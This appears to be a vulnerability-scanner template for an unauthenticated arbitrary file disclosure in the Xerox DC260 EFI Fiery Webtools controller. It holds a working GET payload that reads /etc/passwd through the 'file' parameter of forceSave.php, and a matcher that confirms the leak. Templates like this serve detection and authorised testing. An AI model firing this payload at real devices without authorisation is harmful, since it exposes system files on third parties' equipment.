id: xerox-efi-lfi

info:
  name: Xerox DC260 EFI Fiery Controller Webtools 2.0 - Arbitrary File Disclosure
  author: gy741
  severity: high
  description: Input passed thru the 'file' GET parameter in 'forceSave.php' script is not properly sanitized before being used to read files. This can be exploited by an unauthenticated attacker to read arbitrary files on the affected system.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5447.php
    - https://packetstormsecurity.com/files/145570
    - https://www.exploit-db.com/exploits/43398/
  tags: iot,xerox,disclosure,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wt3/forceSave.php?file=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200